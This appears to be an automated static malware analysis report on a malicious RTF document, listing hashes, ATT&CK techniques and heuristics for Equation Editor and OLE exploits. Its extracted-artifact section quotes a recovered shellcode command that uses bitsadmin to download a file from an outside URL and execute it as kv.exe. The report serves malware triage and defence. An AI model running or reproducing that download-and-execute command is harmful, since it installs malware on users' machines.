Malicious RTF — malware analysis report

Static analysis result for SHA-256 0ba14cb07f576d54…

MALICIOUS

RTF

120.0 KB Created: 2018-09-01 14:04:00 First seen: 2019-02-26
MD5: 870205b3874b3804e14f52732e9f6fc5 SHA-1: 92dba0d67742c4e14bcbe82a173bd36a4135c9c5 SHA-256: 0ba14cb07f576d54d339ca29ec0219e0e36207148f679184b82dcc89363518ae
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor), CVE-2017-8759 (MSXML SAX OLE activation), and CVE-2026-21514 (Word/OLE security bypass). These vulnerabilities are commonly used to achieve arbitrary code execution. The presence of an embedded OLE object and extracted artifacts like shellcode further supports this. The file likely acts as a dropper for a secondary payload, indicated by the suspicious URL found within the embedded content.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://b.coka.la/de7vYm.jpg In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bbc5.bin rtf-objdata-decoded RTF \objdata at offset 0xBBC5 15672 bytes
SHA-256: a2e762f8a93d680e7ea43d47692156f242d48bd3408126c42559ab13c8e0402d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://b.coka.la/de7vYm.jpg Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer vc /priority foreground https://b.coka.la/de7vYm.jpg %USERPROFILE%\kv.exe && start %USERPROFILE%\kv.exe
rtf_svb_00003185.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3185 1774 bytes
SHA-256: 2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319

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